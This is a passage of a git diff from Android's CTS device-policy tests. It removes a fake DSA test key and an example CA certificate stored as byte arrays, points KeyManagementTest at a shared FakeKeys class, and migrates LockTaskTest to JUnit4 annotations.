-    public static class FAKE_DSA_1 {
-        /**
-         * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
-         * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] privateKey = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
-            (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
-            (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
-            (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
-            (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
-            (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
-            (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
-            (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
-            (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
-            (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
-            (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
-            (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
-            (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
-            (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
-            (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
-            (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
-            (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
-            (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
-            (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
-            (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
-            (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
-            (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
-            (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
-            (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
-            (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
-            (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
-            (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
-            (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
-            (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
-            (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
-            (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
-            (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
-            (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
-            (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
-            (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
-            (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
-            (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
-            (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
-            (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
-            (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
-            (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
-            (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
-            (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
-            (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
-            (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
-            (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
-            (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
-            (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
-            (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
-            (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
-            (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
-            (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
-            (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
-            (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
-            (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
-
-        };
-
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] caCertificate = new byte[] {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
-            (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
-            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
-            (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
-            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
-            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
-            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
-            (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
-            (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
-            (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
-            (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
-            (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
-            (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
-            (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
-            (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
-            (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
-            (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
-            (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
-            (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
-            (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
-            (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
-            (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
-            (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
-            (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
-            (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
-            (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
-            (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
-            (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
-            (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
-            (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
-            (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
-            (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
-            (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
-            (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
-            (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
-            (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
-            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
-            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
-            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
-            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
-            (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
-            (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
-            (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
-            (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
-            (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
-            (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
-            (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
-            (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
-            (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
-            (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
-            (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
-            (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
-            (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
-            (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
-            (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
-            (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
-            (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
-            (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
-            (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
-            (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
-            (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
-            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
-            (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
-            (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
-            (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
-            (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
-            (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
-            (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
-            (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
-            (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
-            (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
-            (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
-            (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
-            (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
-            (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
-            (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
-            (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
-            (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
-            (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
-            (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
-            (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
-            (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
-            (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
-            (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
-            (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
-            (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
-            (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
-            (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
-            (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
-            (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
-            (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
-            (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
-            (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
-            (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
-            (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
-            (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
-            (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
-        };
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
index 219dfc2..0b783a0 100755
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
@@ -15,8 +15,8 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
 import static com.android.cts.deviceowner.BaseDeviceOwnerTest.getWho;
-import static com.android.cts.deviceowner.FakeKeys.FAKE_RSA_1;
 
 import android.app.Activity;
 import android.app.admin.DevicePolicyManager;
@@ -69,17 +69,12 @@
                 getActivity().getSystemService(Context.DEVICE_POLICY_SERVICE);
         BaseDeviceOwnerTest.assertDeviceOwner(mDevicePolicyManager);
 
-        // Enable credential storage by setting a nonempty password.
-        assertTrue(mDevicePolicyManager.resetPassword("test", 0));
+        // Hostside test has set a device lockscreen in order to enable credential storage
     }
 
     @Override
     protected void tearDown() throws Exception {
-        // Delete all keys by resetting our password to null, which clears the keystore.
-        mDevicePolicyManager.setPasswordQuality(getWho(),
-                DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
-        mDevicePolicyManager.setPasswordMinimumLength(getWho(), 0);
-        assertTrue(mDevicePolicyManager.resetPassword("", 0));
+        // Hostside test will clear device lockscreen which in turn will clear the keystore.
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 4b4faec..9c5380a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -15,22 +15,38 @@
  */
 package com.android.cts.deviceowner;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertArrayEquals;
+
 import android.app.Activity;
 import android.app.ActivityManager;
+import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.provider.Settings;
 import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 
-// This is not a standard test of an android activity (such as
-// ActivityInstrumentationTestCase2) as it is attempting to test the actual
-// life cycle and how it is affected by lock task, rather than mock intents
-// and setup.
-public class LockTaskTest extends BaseDeviceOwnerTest {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@RunWith(AndroidJUnit4.class)
+public class LockTaskTest {
+
+    private static final String TAG = "LockTaskTest";
+
+    private static final String PACKAGE_NAME = LockTaskTest.class.getPackage().getName();
+    private static final ComponentName ADMIN_COMPONENT =
+            new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
     private static final String TEST_PACKAGE = "com.google.android.example.somepackage";
 
     private static final String UTILITY_ACTIVITY
@@ -48,7 +64,6 @@
     private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
     private static final int ACTIVITY_RUNNING_TIMEOUT_MILLIS = 10000;  // 10 seconds
     private static final int ACTIVITY_DESTROYED_TIMEOUT_MILLIS = 60000;  // 60 seconds
-    private static final int UPDATE_LOCK_TASK_TIMEOUT_MILLIS = 2000; // 2 second
     public static final String RECEIVING_ACTIVITY_CREATED_ACTION
             = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
     /**
@@ -63,6 +78,7 @@
         @Override
         public void onReceive(Context context, Intent intent) {
             String action = intent.getAction();
+            Log.d(TAG, "onReceive: " + action);
             if (LockTaskUtilityActivity.CREATE_ACTION.equals(action)) {
                 synchronized (mActivityRunningLock) {
                     mIsActivityRunning = true;
@@ -107,20 +123,25 @@
         }
     }
 
-    private boolean mIsActivityRunning;
-    private boolean mIsActivityResumed;
-    private boolean mReceivingActivityWasCreated;
+    private volatile boolean mIsActivityRunning;
+    private volatile boolean mIsActivityResumed;
+    private volatile boolean mReceivingActivityWasCreated;
+    private volatile boolean mIntentHandled;
     private final Object mActivityRunningLock = new Object();
     private final Object mActivityResumedLock = new Object();
     private final Object mReceivingActivityCreatedLock = new Object();
-    private Boolean mIntentHandled;
 
+    private Context mContext;
     private ActivityManager mActivityManager;
+    private DevicePolicyManager mDevicePolicyManager;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[0]);
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+
+        mDevicePolicyManager = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         IntentFilter filter = new IntentFilter();
         filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
@@ -132,25 +153,29 @@
         mContext.registerReceiver(mReceiver, filter);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[0]);
+    @After
+    public void tearDown() {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
         mContext.unregisterReceiver(mReceiver);
-        super.tearDown();
     }
 
     // Setting and unsetting the lock task packages.
+    @Test
     public void testSetLockTaskPackages() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { TEST_PACKAGE });
+        final String[] packages = new String[] { TEST_PACKAGE, "some.other.package" };
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, packages);
+        assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT));
         assertTrue(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
 
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[0]);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+        assertEquals(0, mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT).length);
         assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
     }
 
     // Start lock task, verify that ActivityManager knows thats what is going on.
-    public void testStartLockTask() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testStartLockTask() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
@@ -164,8 +189,9 @@
 
     // Verifies that the act of finishing is blocked by ActivityManager in lock task.
     // This results in onDestroy not being called until stopLockTask is called before finish.
-    public void testCannotFinish() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testCannotFinish() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
 
         // If lock task has not exited then the activity shouldn't actually receive onDestroy.
@@ -177,17 +203,15 @@
     }
 
     // Verifies that updating the whitelisting during lock task mode finishes the locked task.
-    public void testUpdateWhitelisting() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testUpdateWhitelisting() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
 
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[0]);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
 
         synchronized (mActivityRunningLock) {
-            try {
-                mActivityRunningLock.wait(UPDATE_LOCK_TASK_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
         }
 
         assertLockTaskModeInactive();
@@ -197,8 +221,9 @@
 
     // This launches an activity that is in the current task.
     // This should always be permitted as a part of lock task (since it isn't a new task).
-    public void testStartActivity_withinTask() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testStartActivity_withinTask() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
@@ -209,10 +234,7 @@
         mContext.startActivity(lockTaskUtility);
 
         synchronized (mReceivingActivityCreatedLock) {
-            try {
-                mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
             assertTrue(mReceivingActivityWasCreated);
         }
         stopAndFinish(UTILITY_ACTIVITY);
@@ -220,8 +242,9 @@
 
     // This launches a whitelisted activity that is not part of the current task.
     // This should be permitted as a part of lock task.
-    public void testStartActivity_outsideTaskWhitelisted() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME,
+    @Test
+    public void testStartActivity_outsideTaskWhitelisted() throws Exception {
